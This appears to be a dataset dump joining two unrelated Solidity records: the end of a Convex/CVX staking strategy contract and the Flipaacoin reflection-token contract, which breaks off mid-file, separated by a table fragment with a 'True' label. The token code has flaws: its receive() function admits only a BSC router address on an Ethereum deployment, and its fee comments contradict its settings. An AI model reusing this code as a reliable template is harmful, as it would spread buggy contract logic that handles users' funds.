address _router = useSushi? sushiRouter : univ2Router2;
_swapUniswapWithDetailConfig(_from, _to, _amount, 1, swapPath, _router);
}
function _swapUniswapWithDetailConfig(
address _from,
address _to,
uint256 _amount,
uint256 _amountOutMin,
address[] memory _swapPath,
address _router
) internal {
require(_to != address(0), '!invalidOutToken');
require(_router != address(0), '!swapRouter');
require(IERC20(_from).balanceOf(address(this)) >= _amount, '!notEnoughtAmountIn');
if (_amount > 0){
IERC20(_from).safeApprove(_router, 0);
IERC20(_from).safeApprove(_router, _amount);
UniswapRouterV2(_router).swapExactTokensForTokens(
_amount,
_amountOutMin,
_swapPath,
address(this),
now
);
}
}
}
contract StrategyCvxV1 is StrategyBase {
//want token CVX
address public constant cvx = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
// staking constants
address public constant stakingPool = 0xCF50b810E57Ac33B91dCF525C6ddd9881B139332;
address public constant rewardToken = 0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7; //cvxCRV
constructor(
address _governance,
address _strategist,
address _controller,
address _timelock
)
public StrategyBase(cvx, _governance, _strategist, _controller, _timelock)
{
IERC20(cvx).safeApprove(stakingPool, uint256(-1));
}
// **** State Mutations ****
function deposit() public override {
uint256 _wantAmt = IERC20(want).balanceOf(address(this));
require(_wantAmt > 0, "!_wantAmt");
ICvxRewardPool(stakingPool).stake(_wantAmt);
}
function _withdrawSome(uint256 _amount) internal override returns (uint256) {
if (_amount == 0){
return 0;
}
uint256 _beforeWant = IERC20(want).balanceOf(address(this));
ICvxRewardPool(stakingPool).withdraw(_amount, false);
uint256 _afterWant = IERC20(want).balanceOf(address(this));
return _afterWant.sub(_beforeWant);
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external override returns (uint256 balance) {
require(address(_asset) != want, 'wantToken');
balance = _withdrawNonWantAsset(_asset);
}
function _convertWantToBuyback(uint256 _lpAmount) internal override returns (address, uint256){
require(_lpAmount > 0, '!_lpAmount');
return (want, _lpAmount);
}
function harvest() public override onlyBenignCallers {
// Collects reward tokens
ICvxRewardPool(stakingPool).getReward(false);
uint256 _reward = IERC20(rewardToken).balanceOf(address(this));
if (_reward > 0) {
//swap rewardToken to want
address[] memory _swapPath = new address[](4);
_swapPath[0] = rewardToken;
_swapPath[1] = crv;
_swapPath[2] = weth;
_swapPath[3] = want;
_swapUniswapWithDetailConfig(rewardToken, want, _reward, 1, _swapPath, sushiRouter);
uint256 _wantAmount = IERC20(want).balanceOf(address(this));
uint256 _buybackLpAmount = _wantAmount.mul(performanceFee).div(performanceMax);
if (buybackEnabled == true && _buybackLpAmount > 0){
(address _buybackPrinciple, uint256 _buybackAmount) = _convertWantToBuyback(_buybackLpAmount);
buybackAndNotify(_buybackPrinciple, _buybackAmount);
}
uint256 _wantBal = IERC20(want).balanceOf(address(this));
if (_wantBal > 0){
lastHarvestBlock = block.number;
lastHarvestInWant = _wantBal;
deposit();
}
}
}
// **** Views ****
function balanceOfPool() public override view returns (uint256){
return ICvxRewardPool(stakingPool).balanceOf(address(this));
}
function getHarvestable() external view returns (uint256) {
return ICvxRewardPool(stakingPool).earned(address(this));
}
function getName() external override pure returns (string memory) {
return "StrategyCvxV1";
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2021-12-20
*/
// SPDX-License-Identifier: MIT
/**
███████ ██ ██ ██████ █████ █████
██ ██ ██ ██ ██ ██ ██ ██ ██
█████ ██ ██ ██████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██
██ ███████ ██ ██ ██ ██ ██ ██
https://flipaacoin.com/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msg.sender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
/**
*
* Remove lock and unlock functions after auditor recommendations.
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now < _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
*/
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
Symbol: Flipaa
Supply: 20,000,000,000
Burn wallet: 10,000,000,000
9% Tax system:
3% of every transaction goes to burn wallet.
3% of every transaction goes to a Development Wallet. Need to confirm address
3% goes to a donation wallet. Need to confirm address
Name: Flipaacoin
Symbol: Flipaa
Decimals: 0
Owners Address:
0xEb754828CfcC7ea9f56E2e374798E3c9bfdE09FB
*/
contract Flipaacoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 20000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Flipaacoin";
string private _symbol = "Flipaa";
uint8 private _decimals = 0;
uint256 public _taxFee = 0; // This is reflection/ distribution
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 0; // This is liquidty
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _burnFee = 3; // this is auto burn in case you want in future
uint256 private _previousBurnFee = _burnFee;
uint256 public _fundingFee = 6; // This is funding fees for all wallets
uint256 private _previousFundingFee = _fundingFee;
address public DevelopmentWalletAddress = 0x4b523108F79688Fea5dD63DC228eb0AACF3CeBeA; // this is DevelopmentWallet address
address public DonationWalletAddress = 0xDA2FEFB4320Eb1A77b98f5D4e50ED11702dC7Baa; // this is Dev Team address
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 public _maxTxAmount = 100000000 ; // this is maximum transaction amount -- for this one? can this be changed? Yes
uint256 private numTokensSellToAddToLiquidity = 1000000 ; // this is threshold for token to distribute
uint256 private buyBackUpperLimit = 1 * 10**2;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
// IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff); // Polygon mainnet
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uniswap
//IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E ); // This is Uniswapswap router address
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
// function withdrawLPToken(uint256 _sid, uint256 _rate, uint256 _desirePrice, uint256 _slippage) external {
// return strategyInfo[_sid].iLink.withdrawLPToken(strategyInfo[_sid].pid, msg.sender, _rate, _desirePrice, _slippage);
// }
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
// _tOwned[account] = 0;
_tOwned[account] = _rOwned[account]; // change by auditor recommendations
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
//to recieve ETH from uniswapV2Router when swaping
// receive() external payable {}
receive() external payable {
//only allow UniswapRouter to send BNB
require(msg.sender==address(0x10ED43C718714eb63d5aA57B78B54704E256024E));
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 0;
_fundingFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_liquidityFee = 0;
_burnFee = 3;
_fundingFee = 6;
}
